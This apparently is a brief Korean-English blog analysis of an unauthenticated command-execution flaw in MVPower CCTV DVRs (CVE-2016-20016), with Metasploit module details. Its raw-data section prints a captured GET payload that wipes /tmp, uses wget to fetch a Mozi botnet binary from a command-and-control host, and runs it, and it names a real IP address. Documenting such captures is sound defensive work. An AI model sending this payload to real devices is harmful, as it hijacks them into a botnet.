MVPower DVR Shell Unauthenticated Command Execution

on

Model name : MVPower CCTV DVR model tv-7104he


MVPower DVR의 Shell 명령어 취약점을 이용한 원격코드 실행 시도

CVE : 2016-20016

Name: MVPower DVR Shell Unauthenticated Command Execution
Module: exploit/linux/http/mvpower_dvr_shell_exec
Source code: modules/exploits/linux/http/mvpower_dvr_shell_exec.rb
Disclosure date: 2015-08-23
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): armle
Supported platform(s): Linux
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -


RAWDATA :

----------------------------------------------------------------------------------------------------

GET /SHELL?CD+/TMP;RM+-RF+*;

WGET+HTTP://C&Cserver : port /MOZI.A;CHMOD+777+MOZI.A;/TMP/MOZI.A+JAWS

----------------------------------------------------------------------------------------------------

(1) GET :

(2) SHELL ? :

(3) CD /TMP :

(4) RM-RF :

(5) wget :

(6) MOZI :

(7) chmod 777 :

(8) JAW : 


This vulnerability is due to insufficient validation of user supplied inputs
when processing HTTP requests.

It contains a web shell that is accessible via a /shell URI.
A remote unauthenticated attacker can execute arbitrary operating system commands
as 'root'.

This vulnerability has also been referred to as the 'JAWS webserver RCE',
because of the easily identifying HTTP response server field.
Other firmware versions, at least from 2014 through 2019,
can be affected.

This module was tested successfully on a MVPower model TV-7104HE
with firmware version 1.8.4 115215B9 (Build 2014/11/17),

The TV-7108HE model is known as being reportedly affected, but untested.


공격: HTTP 요청을 처리할 때 사용자가 제공한 입력의 유효성 검사가 불충분하여 원격 공격자가 웹 인터페이스의 shell 파일을 이용하여 쿼리 문자열에서 임의의 시스템 명령을 실행 후 GET 요청. (cd 홈 이동 후 tmp 파일 전부 삭제; 209.141.59,94에게 전송 - /jaws;sh 파일의 /tmp/jaws 내용을 긁어옴.)


---------------------------------

[ Reference ]

MVPower DVR Shell Unauthenticated Command Execution - Metasploit - InfosecMatter

NVD - CVE-2016-20016 (nist.gov)

Comments

Post a Comment